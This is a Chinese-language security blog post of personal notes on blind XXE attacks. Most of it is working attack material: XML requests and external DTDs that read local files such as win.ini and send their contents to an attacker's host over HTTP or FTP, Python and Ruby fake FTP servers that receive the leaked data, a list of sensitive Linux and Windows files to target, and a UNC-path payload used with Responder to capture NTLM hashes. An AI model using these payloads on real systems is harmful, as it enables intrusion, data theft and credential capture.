F1v3's Notes
0%

XXE漏洞

Posted on Edited on In
Symbols count in article: 5k Reading time ≈ 5 mins.

最近经常碰到XXE漏洞，记录一下XXE的相关姿势和碰到的问题

Blind XXE payload

通过ftp传输数据

相关paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
request:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://ip/111.dtd">


111.dtd:

<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://fakeuser:fakepass@ip/%payload;'>">
%int;
%trick;


-----------------------

request:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
 %all;
%send;
]>

evil.xml:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">
<!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://ip:8089/%file;'>">

-----------------------
request:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://ip/111.dtd">


111.dtd

<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://ip:8089/%payload;'>">
%int;
%trick;

伪装ftp服务

方法一：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
1.py

import socket

host = "0.0.0.0"
port = 2121

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(1)

print 'waiting for connection...'

(client_sock, client_addr) = sock.accept()

client_sock.send("220 test\r\n")
print 'start'

while True:
  msg = client_sock.recv(1024)
  msg = msg.rstrip()

  if msg == "":
    print 'connection end'
    break
  else:
    if msg.startswith("USER "):
       client_sock.send("331 user \r\n")
       print "echo : %s" % msg
    elif msg.startswith("PASS "):
       client_sock.send("230 pass\r\n")
       print "echo : %s" % msg
    elif msg.startswith("TYPE "):
       client_sock.send("200 mode\r\n")
       print "echo : %s" % msg
    else:
       client_sock.send("200 OK\r\n")
       print "echo : %s" % msg

client_sock.close()

sock.close()

方法二：

1
python -m pyftpdlib -p 21

方法三：

1
2
3
1.rb

https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb

方法四

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.rb

require 'socket'
server = TCPServer.new 2121
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

读取的文件

Linux

1
2
3
4
5
/etc/passwd
/etc/hosts
/etc/environment
/etc/host.conf
/sys/power/image_size

Windows

1
2
c:/Windows/debug/mrt.log
c:/boot.ini

XXE TO RCE

实战中未成功，成功了在详细记录。

paylaod

1
2
3
4
5
6
7
8
9
10
request:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://ip/1111.dtd">

1111.dtd:

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM '\\ip/1.txt'>">
%int;
%trick;

伪装smb服务

1
2
https://github.com/SpiderLabs/Responder
./Responder.py  -I ens3  -v

image

案例及姿势

1
2
3
4
5
6
7
8
https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745
https://blog.csdn.net/weixin_34368949/article/details/88116535
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/
https://pentestlab.blog/tag/smb-relay/
https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4
http://www.it610.com/article/2378687.htm
https://www.4hou.com/web/12964.html

工具

1
2
https://github.com/SpiderLabs/Responder
https://github.com/SecureAuthCorp/impacket

注意事项

  • 一、java中部分jdk能通过http获取多行数据

image